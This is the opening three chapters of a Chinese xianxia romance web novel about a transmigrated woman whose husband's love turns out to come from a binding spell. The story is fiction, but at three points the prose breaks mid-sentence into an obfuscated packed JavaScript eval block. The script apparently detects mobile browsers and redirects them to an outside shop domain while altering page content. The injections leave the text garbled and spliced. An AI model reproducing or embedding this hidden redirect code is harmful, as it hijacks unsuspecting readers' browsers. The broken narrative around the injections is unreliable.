《我的危险前夫》 1. 第 1 章 三更夜,窗外下起雨,雨丝顺着窗边蜿蜒而下的梨树指头一滴滴敲打在窗棂上,雨声透过纱帐,一滴滴敲入林向遇耳中。 她尚在睡梦中,只是这会儿,睫毛轻颤,口中嘤咛,传达出强烈的不安,梦中,她下意识双手抓住了什么,像是溺水的人,紧紧抓住最后一根浮萍。 下一刻,她猛地转醒,发现自己正紧紧揪着温淮的袖子,宽袖长袍被自己拧得皱巴巴,林向遇有些抱歉地放开温淮,抬眼,借着还未燃尽的蜡烛瞧见温淮的脸,还是那般俊美无俦,瞧着不冷也不热,无悲也无喜,就连雀跃的火光也暖不了他半分。 若是不说,谁知道这已经是她们结亲的第八年了。 “怎么了?做了什么梦?”温淮这般问她。 外面的冷风顺着窗缝刮进来,林向遇本就穿着单薄,她打了个哆嗦,蜷缩着往被子里缩了缩,下意识抱住温淮瘦削有力的腰,闷闷道:“我是不是又说梦话了?” “你在梦里说你想回家。”温淮任由林向遇抱着他的腰,没有推开,也没有抱她,只是能够清晰地感受到怀中人正在小小地战栗着,不知是因为冷,还是因为方才那个噩梦。 林向遇还心有余悸,一身冷汗,只觉得非常非常冷,身体止不住地颤抖,面容苍白,毫无血色,只得抓住温淮,抓住这个她在这个世界里唯一能抓住的东西,“我梦见我再也不能回家了。” “回家?你的家在哪儿?”他抬手,冰凉的手指挑起林向遇黏在颊边的发丝,夹去耳后。 这是林向遇穿入修真界十八年以来,第一次谈及自己的家,那个对这里来说十分渺茫遥远的异世界。 一想到现代的家人朋友,林向遇就止不住地难受,心像是一只无形的手蹂来躏去,无限酸涩,林向遇声音不自觉地带了点哭腔,“在很远很远的地方,我找不到回去的路了。” 温淮道:“不会的,继续睡吧。”他拍了拍林向遇的肩,没有再过多询问,不知道是不关心还是不想去揭她到伤痛,只是说着安慰的话,语气也没有太大波澜。林向遇窝在温淮温暖的怀中,闻见他身上细腻好闻的雪松气息,内心渐渐安宁下来。她嗯了一声,不再多言。 她慢慢回想自己的命运,连自己也不禁唏嘘。谁能想到,她原本只是一名普普通通的女大学生,因熬夜修改毕业论文,忽然头昏脑花,想着浅浅打个盹,结果再睁眼就穿进了这个世界。还穿成一个五岁女童,面临被卖去妓院的悲惨命运。 好在林向遇途中逃了出来,天寒地冻,她敲响了一个道观的门,拜她师父为师,后来,在十五岁那年,林向遇跟着师父去到尸妖山,亲眼见证了那场惨绝人寰的屠妖大战。 当时上界主流门派带着众多弟子将人间的妖驱赶至尸妖山,双方在此展开一场举世闻名的大战,据说,那一战后,半数妖被屠尽,上界也死伤惨重。 这次大战之后,下界和上界都太平了一段时间。 但那场尸妖山大却成为了林向遇人生中唯二的转折点。 她失去了她的师父。同时,在这里捡到了温淮,如今,这个男人已经和她成婚八年了。 林向遇回想当时的景况,万妖混乱,泱泱修士,宛若飞虫一般乌泱泱相撞,厮杀,鲜血如暴雨飞扬,她和师父走散。 恰逢这节点,她听见了自己的系统声。穿越到这个修真界的第十一年,林向遇终于迎来了自己的系统!一般来说,只要有系统,就有穿回去的机会。 系统告诉林相遇,她穿进了一本虐恋修真文里,男女主相互喜欢却绝不说出口,两人经历各种误会,来来回回互虐八百回合。而你林向遇,只是一个书中连名字都没被提到的小炮灰。 现在,你的任务是:攻略本书中暗恋女主不得后期黑化成魔的高岭之花男二。完成任务就能回家。 在万妖混沌之中,林向遇面前出现一个只有她能看见的系统面板,上面清晰地用半透明的光条写着,任务进度0%。 彼时,万妖和修士们在尸妖山互相厮杀之中,林向遇东躲西藏好不容易躲到一处石壁后面。下一瞬,就石壁就被身后嗜妖一巴掌拍了粉碎,同时一口吃掉了林向遇旁边的飞舞着的尘妖们。 这瞬间,林向遇面前的系统面板也霎那间淡去,什么都不剩。林向遇这才知道,系统附在了尘妖身上,就在刚刚被嗜妖一口吞掉了。 不过好在系统光荣陨落前,留给林向遇一个十分重要的信息——她需要攻略的高岭之花男二也在尸妖山附近。 系统说完这句话,林向遇转头就望见废墟之中躺着一个男人,那个男人身形高大,浑身是血,墨发如瀑,林向遇瞧清了他的脸,面上沾染了血和灰,眉目细长,剑眉紧拧,给人以深深地疏离之感。 应当就是他了,林向遇这般确信,于是将人带回木屋之中,悉心照顾。 后来成婚似乎是顺理成章的事,一切都那么轻而易举,水到渠成。林向遇在“攻略”温淮的途中,并没有发生任何挫折,甚至连波折都没有。顺利到令林向遇时常有几分不安,怀疑这些只是梦。 林向遇接近温淮的目的很明确,那便是顺利攻略他,将好感度提升到百分之百,为回家铺路。 刚开始她的确是这样想的。 但后来,她发觉自己对温淮的感情有了丝丝缕缕的变化。开始变得不那么纯粹地只是想要回家。她渐渐发现自己开始贪恋他的好,依赖他,喜欢他。 渐渐地居然也会想,如果注定不能穿回去的话,待在这里,和温淮就如此平平淡淡地共度一生也未尝不可。毕竟在这八年间她和温淮该做的不该做的都做过。 他也曾陪她赏过夏蝉冬雪,见过四季更迭,走过无数寂静黑夜,一起在柴米油盐的人间相互手牵手走过很多年岁。 如果这都不算爱的话,那什么才是呢? 八年说长不长,说短不短,人的一生中能有多少个八年呢。八年,足矣让两个人将对方都刻画进自己生命里。所以,林向遇仍固执地相信,温淮对她是有感情的。 窗外的雨不知不觉停了,雨后清晨,露水漫漫,林向遇醒来的时候,往旁边摸了个空,温淮早已消失不见。林向遇也并未在意。 温淮在城中书院做些教书先生的活计,收入不多,每月只有一两银子,但也足够维持她们的日常生活。是以,他需日日早起赶路去城中。为了让她多睡些,温淮并不会吵醒她。 林向遇简单洗漱,坐在简陋的梳妆台前,铜镜中映出女人的小巧的面容,杏目长眉,两眼熠熠,鼻尖小巧,唇珠一点,发丝簪成斜斜的样式,耷在肩头,别有一番温情味道。 她简单整理一番,就背着自己的桃木剑出了门,现在外界妖魔作乱,并不太平。温淮便将他的镇家之宝的桃木剑赠予林向遇护身。 其实林向遇并不觉得这把小小的看似和木头毫无区别的木剑能有什么护身作用,但这毕竟是温淮给她的。林向遇不好拂了他的心意。于是每每出门都好生带着。 “哎,这不温家娘子吗,今个也来赶集?”闹哄哄的集市上恰巧碰见邻居大娘,林向遇笑了声,点头,“出来购置些日常用品。”顺便将她前些时日绘制的符箓都买给走贩,换些零钱。林向遇跟着师父修习那些年,因是穿越而来,天资不够,至今仍无法结金丹,只得勉强聚气灵力绘出几张符箓。虽然卖的钱不多,但足够给她们清淡生活里添些油水。 “你是真好命勒,嫁了个这般宠着你的夫君,时时宠着你,日常也不需要出去做工。只需享福就够了,唉,不像我,我家那个……唉,不说了。” 大娘期期艾艾,仿佛总有说不完的苦楚,林向遇目光移向大娘的手臂,隐约可以看见点点淤青。这种时代里,女性更是生存艰难,其丈夫往往总是对其非打即骂。 相比起来,林向遇就被衬得无比幸运,找到一个知她,尊她,爱她的夫君。林向遇也觉得幸福,至少如今这些,她觉得已经足够了。 转念又想到大娘的悲哀,林向遇深叹了口气,又和大娘聊了几句,便各自走向不同方向。 她轻车熟路地走过错落街道和嚷嚷集市,来到倒卖符箓和各种法宝的走贩摊前,将自己花费好些时日和精力制成的符箓卖了五十灵石。 如今,修真界分了两界,上界为修仙者,分有四大宗派八大仙盟,主掌上界。而下界,多数凡人毫无灵力,符箓法宝更是稀有,随便一张可供凡人在关键时刻保命,比较珍贵,卖得多些钱。 此时,林向遇在同走贩的讨价还价,企图多换几个铜钱,毕竟这乱世之中,妖魔指不定什么时候又要横行人间,到时候生存更为艰难。现在多攒点钱,为以后着想。 “每符箓再加五个铜钱,不然我卖给别人了。反正这城里倒卖符箓的多的是。”林向遇叉着腰同那白袍走贩讲价。 “唉,让一让,都给我让一让……”身后突然一声巨响轰隆隆的撵过来,伴随着滚滚尘土,铺天盖地呼啸而来,霎那之间便逼近眼前。 为了躲避前方撵过来的巨轮,熙熙攘攘的集市瞬间鸡飞狗跳,逃命的逃命,捡钱的捡钱,一派混乱光景。 全身心进入和走贩“战斗”状态的林向遇并没有及时反应过来,在回头的那瞬间,那巨辇已然飞至身前,稳稳当当朝她袭来,避无可避。 林向遇飞扬的尘土中看清了那座巨辇,由许多一人抱的木头牢牢钉成的巨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他淡淡地:“嗯。” 两人在混乱不堪的集市上穿行而过,仿佛身后的混乱都与他们无关,两个身影渐行渐远。 温淮突然回头问了一句:“身后是一只大鹅吗?” 林向遇回头一望,还真是,不知道什么时候冒出来的大鹅,林向遇记忆中好像突然冒出一幕,巨轮滚滚撵来,即将撞上她的时候,巨辇突然剧烈一晃,猛地从里面飞出一只圆滚滚的白球。 那东西应当就是现下这只大白鹅了。 这只大白鹅笨拙地晃动蹼掌,圆润的身子跟着动作一上一下地摇曳,企图跟上林向遇。看见林向遇回头,嘴里发出难听的嘎嘎声。 林向遇没有管它,等她们到家之时,大白鹅已经跟了她们一路。 温淮进入厨房径直提了把菜刀出来,二话没说就用修长白皙的手一把提起大白鹅的长颈,刀光一闪而过,白鹅发出更加难听的惨叫,双翅扑腾,鹅毛乱飞。 就是这一刻,林向遇脑海中冒出一个难听的公鸭嗓,“宿主宿主!我是系统啊啊啊啊啊,我回来了。我好不容易恢复灵力重新附在这只傻鹅身上,救救我——呱呱。” 林向遇环顾四周,那声音貌似确实是从大鹅身上传来的。只有她能听见。 眼看刀尖就要没入鹅颈,鲜血染湿了洁白蓬松的羽毛,再往下,傻大鹅就要消香玉陨。 林向遇心中复杂,系统找过来,对现在的她来说不知道是好事还是坏事,但最终她还是伸手制止,“这只鹅,我看着挺亲切的,还是留着吧。” 温淮闻言顿住,见林向遇如此,也没有坚持,道:“你若是喜欢,养着也行。”旋即收回明晃晃的菜刀,进入厨房继续烧菜做饭。 那只傻大鹅扑通一声落在地上,发出瓷实的声响,在地上滚了好几圈。屋里的大黑猫似是闻见不一样的气息,踮着脚走过来,两只眼骨碌碌的猫眼盯着傻大鹅。试图用爪子去挠它羽毛。 大鹅突然扑通翅膀,飞过一边,扬起阵阵尘土,“滚开,肥猫,好丑。” 煤球好似听懂了,扑上去双爪一挠,顿时鹅飞猫跳,鹅毛猫毛,天上簌簌飞扬。 林向遇没想到这两只这么不对付,直到晚些,林向遇将它俩分开,才堪堪消停下来,煤球还不服气,被温淮冷冷看了一眼,便立时软了下来,耷拉着耳朵三两下爬上了窗边的梨树。 深夜,林向遇确定温淮熟睡了,才蹑手蹑脚找到大鹅,大鹅早就在门外急得转着圈圈,用着公鸭嗓说:“宿主!你怎么和本书中的心狠手辣的大反派在一起了?他可不是什么高岭之花男二啊!!!” 2. 第 2 章 今夜无风也无雨,温淮却还是醒了,很长一段时间里,他都做着同一个梦。 现在,他总是在想,自己为什么要在这里?为什么要同林向遇成亲?为什么?为什么心底好似总有个声音在告诉着他,他喜欢着林向遇。 喜欢到可以放弃自己日夜所计划的一切。 可跳出这种声音之后,他面对林向遇时,又变得非常苍白,好像面对一张白纸一样茫然。他不知道自己为什么和她成婚,为什么自己会喜欢她喜欢到那种程度。 温淮抓了抓头发,往旁边摸了个空,才发现枕边人不在。他回想起来梦里的场景。 好像不是梦,只是回忆。 尸妖山,血海,他潜伏其间,在某处早就布好妖族伴身契法阵,等待着目标对象的到来,那个青神太一宗掌门之女,宋清梨。 传言中,妖族有一术法,名为伴身契。 结下伴身契的两个人互相绑定,被绑定的人会以绑定的人的意志行事。 也就是说,她想让他爱上她,他就会爱上她。 原来如此。 当初温淮设下的伴身法阵没有等到宋清梨,反而被一灵力低微的女修闯了进来,误打误撞之下,温淮被迫同她结契了。 他是被绑定的那一方。 成了任凭她意志驱使的“傀儡”。 她想让他爱上他,他就必须乖乖地全身心爱着她,甘愿做她的裙下臣。 八年期至,伴身契妖力不如从前,温淮渐渐清醒过来,想来如今心境的变化全源自于伴身契的效用减弱。 温淮望了一眼空荡荡的枕边,已经全然没有心思去担忧林向遇去了何处,他抬手指尖妖芒展露,往自己心口一点,硬生生用斩断了连接自己的伴身契契约,他瞬间弓着身子吐出一口血。 妖族伴身契乃是一种强悍的术法,必须要绑定的一方主动且自愿同被绑定的一方解除契约。如此方能生效。 现在温淮所做,不过是抱薪救火,斩断不了根源,并不能解决根本问题。 偏偏他宁愿自断心脉,也要清醒着。 温淮歪在榻间,兀自冷笑,心中自嘲,真可笑,只是为此而白白蹉跎了八年。他的所有计划同时也荒废了八年之久。 * 大鹅用翅膀叉着腰,昂着头,一本正经问林向遇,“只需要完成系统任务就能回家。可现在,唯一的问题是,你是想回家,还是想要继续待在这里,和本书中的大反派一生一世一双人。” 说实在的,林向遇并不在意温淮是什么身份。刚开始她接近温淮确实是因为系统任务,可后来,她喜欢他。 喜欢的只是他这个人。不论他是什么身份。 林向遇问大鹅,“完成系统任务?还是攻略本书中的高岭之花男二吗?如果是这样的话,还是算了。”她现在已经和温淮成婚了,不管刚开始的接近的目标是否单纯,这八年间的温情都并非作假。她又怎能仅仅因为系统任务,而抛弃了他呢。 大鹅扯着公鸭嗓道:“放心宿主,我消失的这八年也没有吃白饭滴,我先是恢复的灵力,再又回总部给你申请换了一个新任务。只需要辅助本书的主角们走完所有剧情副本就算完成任务。看看,离了我,宿主你上哪找这么好的系统啊。”说着,翅膀撑着墙壁,摇了摇头,一副极其自恋的嘴脸。 也就是说,回家,和温淮在一起,这两样林向遇只能选一样。 大鹅意思已经很明确,就是让林向遇做出选择。 “你是想回家还是继续待在这里和他一生一世一双人。”大鹅插着翅膀问林向遇,“放心不会勉强你。” 一切皆在你。 林向遇思绪混乱,突如其来的系统打乱了她的原有的生活轨迹,也让她再也不能自欺欺人下去。 脑海里有一个声音在说,趁现在自己还没被这个世界同化之前,还没有彻底麻木之前,赶紧找到回家的路,一条路走到黑吧。 而这个声音响起没一会儿,又被另一个声音盖过,可是自己走了,温淮怎么办?你不能抛弃他啊。从前的所有温存都是真的,不是梦啊。不是假的。 你不能这么绝情。 不能这么对温淮。 至少,直到林向遇和温淮面对面坐下来,再到听到他说出那句:“我们和离吧。”之前,林向遇都是有过挣扎的。 在选择回家和他之间,她曾经那样艰难抉择,甚至茶不思饭不想,整夜整夜没有阖过眼。 而今,两个人隔着一桌子热腾腾的饭菜,相对而坐,林向遇从没有哪一刻觉得温淮是如此地令她感到陌生。好像他们从未认识过,也不曾成亲八年。 可那道声音,的的确确就是从温淮口中发出来的,林向遇一时没有反应过来,试图证明是自己听错了,“阿淮,你说什么?不是开玩笑的吧?这玩笑一点都不好笑。” 话至,便再次听见温淮铿锵而清晰的声音,一字一句道:“我们,和离吧。” “是我对不住你。”末了他又道,语气却听不出什么波澜。 林向遇胸腔随着温淮的话音渐渐收紧,像是被一只无形的手掌紧紧攥着,呼吸不上来,明明外面是烈日晴空,是个难得的好天气,可她突然间全身冰冷。第一次生动地感受到了,什么叫如坠冰窟。 为什么?林向遇想不明白。 她颤抖着唇,问他,“是我做错了什么吗?” 相比起林向遇的异样,温淮就冷静得近乎冷血,接下来他如实将伴身契这一术法告知林向遇,所有原委,说得一清二楚。好似急需撇清她这个大麻烦。 林向遇听懂了,这么说,好像确实是她拖累了温淮,先是毁了人家的计划,又和他结下伴身契,强行将人绑在了她的身边。营造出一场爱她的幻梦。 这恩恩爱爱的八年,这一切,原本就都是假的。 难怪从一开始她的“任务”就进行得那样顺利,原来那只是因为他的意志被伴身契牵动着,必须要依从她的意志而行事。 林向遇当时为了攻略的任务,一心想着让温淮爱上自己,完成任务,早点回家。因此,温淮也遵循了她的意志,爱上了她。和她在这尘世之中宛若一对普通夫妻一样,恩爱地相伴八年。 而今,泡沫渐渐碎裂,真相浮出水面,谁也不能再继续欺骗自己了。 这几天发生的事情都太多突然,信息量太大,林向遇觉得自己只是一时间没能力消化,心脏阵阵揪痛,胃里一阵翻涌。 但和离书已经拟好,只有短短一行字,被温淮推至眼前,林向遇吸了下鼻子,身体已经做出了选择。 寥寥几笔下去,过去那些情谊就都烟消云散了。 有时候人和人的关系就是这样脆弱,轻轻一碰就碎了。明明前几天,还在一起,觉得真的能够一生一世一双人,而今天,他们就要散了。 “等等,你就要走了吗?”林向遇见温淮转身便要离开,她心下一阵绞痛,手指冰冷,她下意识去抓温淮的手,下一瞬被他冷冷的眸子一眼望过来,林向遇像是被针尖刺了一下,悻悻然收回手。 她忘了,现在他已经不喜欢她了。 她忘了,此今天起,温淮不再是她夫君了。 不能再向从前一样。 林向遇收回来的手局促地落在半空,她后知后觉地收回来,捏了捏衣角,声音轻得不能再轻了,极力忍着什么问出来,“这八年间,你对我,当真没有过真情?” 温淮回头,将林向遇的所有小表情和小动作全看在眼里,尽管她极力憋着情绪,但这些都从她眼睛里溢了出来,可怜巴巴的眸子,像他小时候在青城山上养过的那只小狐狸。 他别开眼,白玉般的手指蜷缩了一下,“抱歉。我该走了。” 林向遇低头眨了眨双眼,把眼泪都含了回去,用尽量正常的声音说:“不分一下家产吗?”虽然不多,但都是他们在这八年间一点点共同积攒下来的。 “不需要,都留给你吧。” “猫你总要带走吧。” 话落,躺在窗外那颗梨花树上的黑猫似是被惊醒,抖动了下双耳,抬起毛茸茸的脑袋,瞪大双眼往这边看过来,它也感受到了女主人和男主人今日的异常,眸子在两人之间滴溜溜地转,有几分察言观色的姿态。 煤球自然也是听见了女主人那句:猫你总要带走吧。 什么意思?他要走?这个阴晴不定的大魔头终于要走了!只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481110|201743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剩下它和温柔的女主人在一起了! 等等。 刚刚女主人还说,让温淮带走它! 不要哇。 它才不要和温淮走,跟着这种人,吃了上顿没下顿,必要时候,它指不定还会被他吃掉。太可怕了!它才不要跟着温淮。它要跟着女主人! 煤球一溜烟跑到女主人身边,刚想要低头去蹭女主人的腿,下一瞬就被双手抱起,林向遇抱着沉甸甸的煤球,回想当初捡到它的时候还是腊月寒冬,是个和自己刚穿过来时一样的雪天。她和温淮进入后山捡柴火,在新雪覆盖的落叶下发现了一点鼻屎大的黑猫,正缩成一团瑟瑟发抖。 不远处,一只恶犬在此盘旋。 林向遇回想起当时的自己,估计也像这只小黑猫一样,极其无助可怜,要是没有师父,她估计早就冻死在街头。 于是林向遇把黑猫捡了回去,刚开始,它面对林向遇的各种示好十分戒备,好几次挠伤她,可每每似乎总是温淮在的时候,煤球就老实得像只小鸡仔,看他就像在看老虎一样。后来久而久之温淮把煤球彻底镇住了。它极其听温淮的话。 想来,黑猫应该是更喜欢温淮一些。 林向遇索性让温淮带走煤球,正好,她也有了一只大鹅。两个人一人一只,这很公平。 温淮瞥了一眼林向遇怀里又懒又肥的丑猫,嫌弃意味十足,但又似乎不好拒绝林向遇,毕竟他们成婚有多久,这只猫就跟了他们多久。总不能狠心抛弃。于是冷冷接过,一手拎着肥猫的后颈,说了一句:“剩下的就都留给你。” 就这样大步离开。远远望去,他颀长的身影在夕阳下拖出长长的影子,一路蜿蜒到林向遇脚下,那只漆黑的黑猫,被他白玉般的手拎着,脑袋皮层被紧紧拉着,圆圆的眼睛变成了丹凤眼,牙齿呲出来,瞳仁也翻了下去,一路被温淮提在手里,四肢零零散散地晃悠着,晃悠着。 人走远了,暮色下,影子都没给林向遇留下。 谁能想到,如此荒谬狗血的事情,就发生在她的身上,梨花缓缓飘落了几朵,落在林向遇耳鬓边,再也没有人将梨花戴在她头上,夸她好看了。 暮光渐渐移到小木桌上,桌上有两三碗简单的饭菜,但都是林向遇爱吃的,但此刻它们已经彻底冷却,米饭也变得硬邦邦。林向遇木然地缓缓坐下,一口口将冷硬的大白米饭送进嘴里,嚼啊嚼。 有些咸咸的。 是她的眼泪,全部掉进了饭里。 于是,一顿饭越嚼越咸,越嚼越咸。 林向遇还是安安静静地把这一碗饭吃完了。 邻居大娘见她的小院里没有锁门,天完全黑了,里面也没有透出光来,她怀疑是不是进小偷了,举着扫把悄悄进来,结果就瞧见林向遇一个人坐在桌边,四周黑漆漆的,也不点灯,大娘见她一个人,显然是哭过的样子,心中了然,于是轻声说:“温娘子,是不是和相公吵架了?过日子嘛,两个人都要互相包容的。男人做什么你都别往心里去,日子还是要过的。赶紧去把你夫君找回来吧。” 林向遇摸了摸风干的眼泪,干涩着声音说:“大娘说的是。” “嗯嗯,别置气,看开点。” “好,多谢大娘,我现在就去找。” 林向遇起身,背起来那把平平无奇的木剑,利落地将木屋锁好,走到后院,一把抱起窝在鸡窝里的大鹅,一人一剑,一只大鹅,踏上了漫漫归途。 “宿主,你确定开启系统任务吗?想好了,不能后悔的。” “想好了,接下来我们去哪儿?” 林向遇脑海中,跳出大鹅的公鸭嗓音,它用着极其正经而造作的语气说道:“叮,主线任务开启。您的任务是协助本书主角完成所有副本任务,达成既定目标,任务进度百分之百即可达成回家的条件。下一站,青神山,太一宗,接近女主宋清梨,并使其好感度达到百分之五十。” “这就是副线任务吗?” “当然还不是,宿主是要协助主角完成副本,所以第一件事情,当然是要博得主角的好感度。” ”好。“既然已经这样了,林向遇劝自己接受。接下来,那就听从系统指示,完成任务,回家。 3. 第 3 章 “那是上界青神山吗?我们终于到了!” 林向遇爬了一天一夜,身前用手杵着一根的桃木剑,身后背着一个布袋,袋子里面是一只嘎嘎乱叫的大鹅,疯狂甩动着修长又有劲的鸭脖,一边嘎嘎说道:“到了,到了,宿主。看!青神山山门前招收弟子的旗帆还没撤去,证明弟子招收会还没结束。” 此刻,坐落在半空之间的青神山山门前人影寥寥,夕阳投下一片惨淡的影子,星零几个弟子正在收拾现场,那些映着各式各样的宗门的名称的帆布被陆续撤下,今天是八年一度的上界弟子选拔会,历年来各上界各个宗门都会在此广招人才。 林向遇喘着粗气爬上去的时候,那写着太一剑宗的旗子正好落下来,林向遇抓住那个年轻修士,心砰砰跳地道:“我想进入太一剑宗。” “不好意思,已经结束了。错过了就只能再等八年了。” “结束了吗?”林向遇声音明显小下来,但还是不死心地问。 修士名叫小六,小六说:“是呢,这是宗门的规矩,你应该早点来的。” 林向遇刚想要说出来的解释的话被憋嘴里,她不好意思说自己是靠自己的双腿一步一台阶硬生生地爬了一天一夜才爬上来的。因为她根骨弱,尚在炼气初期,有对桃木剑不熟悉,从而难以实现御剑飞行。 没办法,她虽然是魂穿,但穿进的这具身体根骨本身就极弱极弱,可以说在修仙一道上毫无天赋。要不是自小跟着师父学了几年,此刻怕是连修行的边都摸不着。 这个修真界本就多数都是普通凡人,许多人四处求仙问道穷极一生都无法悟道,而有的人,五岁炼气,十岁筑基,十七岁突破金丹。修行于他们来说仿佛如吃饭喝水一样简单。随随便便就能到达普通人一辈子到达不了的高度。 林向遇知道这位传闻中五岁炼气,十八岁金丹的修士是谁,她在来的路上就听说过了,太一剑宗的大师兄——薛迟。 思索之际,只听见遥远的天边传来“轰”地一声,声音越来越近,猛地在耳边炸开,就在那高大的巍峨的山门前,出现了一个巨大的人形坑,有个人躺在里面不知生死,紧接着,从山门之中划出两道洁白的身影,施施然立在那巨大人形坑前,为首的那位白袍束冠,发带和青丝猎猎飘摇,还没看清他的模样,林向遇便先听见他沉着有力的音调。 “小六,今日起这位弟子被我逐出宗门。” 小六还傻眼着,只听见周围弟子都恭恭敬敬地齐声唤着大师兄,他才回过神来,也唤到:“大师兄。” 林向遇这才在纷纷尘雾中,看清了这位大师兄的脸,他就是太一剑宗的大师兄。也是传闻中那位,她一开始所要攻略的高岭之花男二。不过现在,她已经不需要攻略他了。林向遇舒了口气。毕竟在书中,薛迟自始至终喜欢的都是她的小师妹——也就是原书中的女主宋清梨。她也不想不自量力地去趟他这趟浑水。 这时候,山门中也跟出来好些好热闹的弟子,围在一起窃窃私语,“欸,好久没有看见大师兄这么生气过了。这新弟子到底做了什么,惹怒了大师兄?” “我好像听说是这位弟子刚入外门就不知死活地偷偷跑到杳花池去偷看清梨师姐沐浴。” “啊,还有这种事?谁不知道清梨师姐就是大师行眼珠子般的存在,竟然敢做这种事情,真活该。” “那可不是。” 薛迟居高临下对着那人形坑道:“这个人,永生不得踏入青神山。” 小六忙道好,叫人收拾收拾现场,把人形坑里这人麻溜地丢出去。现场之中林向遇站在外面,有没穿太一剑宗的蓝白弟子服,所以很是突兀。 薛迟因着这,目光在她身上停了一刻,无波无澜,没有出声音,但眼中询问意味明显。 小六心领神会道:“哦,她想要进入我们宗门,但弟子招收已经结束了。” “哦,正好让她替了刚才那个人。”薛迟轻飘飘地丢下这句话,就转身离去,只剩下林向遇和大鹅面对这突如其来的变故,有几分茫然,后知后觉才惊喜。 这是什么好运气! “喂,你叫什么名字?你叫我一声师兄,我带你去炼器门。” 夕阳斜下,围在山门前的弟子们在薛迟离开之后也尽数退散,只剩下还沉浸在惊喜中的林向遇和小六。 小六也算是林向遇初到这个宗门以来认识的第一个人,她秉承着友好的态度,唤了一声师兄,小六应了一声,果真领着林向遇去了炼器门。 小六因在师门排行第六,又排行最小,大家就称之为小六。可林向遇一来,小六便不再是排行最低的了,他又摆出一副严肃的面孔,不准林向遇也称他为小六,必须要叫六师兄。 太一剑宗之中,只有炼气门这边空得一个弟子名额,林向遇只能去这儿,她没得选。 因着是傍晚,路上时常能看见三三两两的成群结队的弟子从习剑场出来,叽叽喳喳,才刚入门第一天就已然和同门十分熟稔。 大白鹅从林向遇的背篓中探出头来,拉长音调凑在林向遇耳边说:“宿主,本来你是要攻略大师兄薛迟的,在原著里,男二男主反派都爱惨了女主。为了女主争得头破血流,还好我为你换了任务。我们现在所处的这个时间节点天降的男主还没出现。当男二和反派争夺女主的时候,咱千万不要插手。只需要安安心心接近女主走副本任务,保证归家之路近在咫尺。” 林向遇敛眸,不知为何心颤了一下,只是一下,就像是被谁挠了一下,火辣辣的。男二反派都爱惨了女主? 温淮那样的人也会真正爱上某个女子么?旋即,林向遇凉凉地轻笑一声,过去终究都是一场误会,一场空而已。 前方带路的六师兄听见大鹅扯着公鸭嗓嘎嘎的声音,转过头伸手一把捏住大鹅的两只大红喙,声音于是嘎然而止,一时间,鹅眼人眼,四目相对。 六师兄说:“你这只大鹅怎么这么吵,能不能炖了吃?” 闻言,大鹅瑟瑟发抖,从此记住了小六,一边挣扎着挣脱六师兄,一边赶紧往林向遇怀里钻。 林向遇道:“六师兄,这可能不能开玩笑。你有所不知,这只大鹅和我情同手足,在我很小很小的时候,我爹娘走得早,没有这只大鹅,就没有如今的我。”她说得深情并茂,大鹅差点都感动了,好似自己真的和林向遇经历过一段艰难岁月。 六师兄愧疚得半夜醒来都要起来要骂自己不是人的程度,“对不起啊,我不知道,我一定会把大鹅也当作我的亲师弟看待,谁都不能打它主意。” 路上,六师兄喋喋不休道:“放心,咱炼气门很不错的,既不用像药谷那样天天守在铃木崖边上种灵草,也不用像御兽门那般日日和灵兽打得不可开交,也不想惩戒司那样,日日夜夜被牢犯逮着骂。我们炼气门只需要收集炼器所需要的器材然后熔炼相应的法器。很轻松,很简单的。” 林向遇听见这话,心里也愉悦不少。这么一听,那么炼器门门主肯定是很善解人意很好相处的。 绕过重重灵山和秀水,进入一道开阔的巨大石门,石门之后绿草如茵,其后坐落着一座巨大的诡丽奇异的天然洞坑建成的大殿,灵气淤积。 恰好被炼器门的上上上不知道上多少代门主抢占先机,霸占了这一处洞天福地,后来就成了现在的炼器门。此地和其他华丽恢弘的格格不入,别具一格。 洞内,四面怪石嶙峋,岩壁之上还在滴滴答答落着灵泉之水,一滴落入林向遇后颈,冰凉而奇妙的清透划入心尖。林向遇从前听说,灵泉有疗伤修炼之效,十分珍贵且难得。 而这炼器门,放任灵泉之水肆意流逝,如此暴殄天物,嗯,是个不差钱的地儿。 六师兄带林向遇安顿完便离开了。 时间一眨眼就过了半个月,这日夜间,林向遇劳累地躺在弟子宿舍,透过破洞的屋顶看见满天星辰,闪啊闪啊,好像那天自己和温淮一起在潮平城度过的那晚,那晚也是像今日一样是个极好的天气。他们一直在屋顶上从霞光漫天看到星光熠熠。 林向遇回想,那天自己是因为什么要和温淮一起去潮平城的呢? 记不清了,她只记得那是他们成婚的第五个年头,那时候他们总是天南地北地闯,攒到了点小钱就一起各地游荡,一起手牵手走过很多城镇,看过无数星光。那个时候,他还喜欢着自己。 只不过一切都是假的。是她“偷”来的。 所以,过去那些又现在的她有什么关系呢? 没有关系。 梦醒了,林向遇被外面师姐的声音唤醒,在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481111|201743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 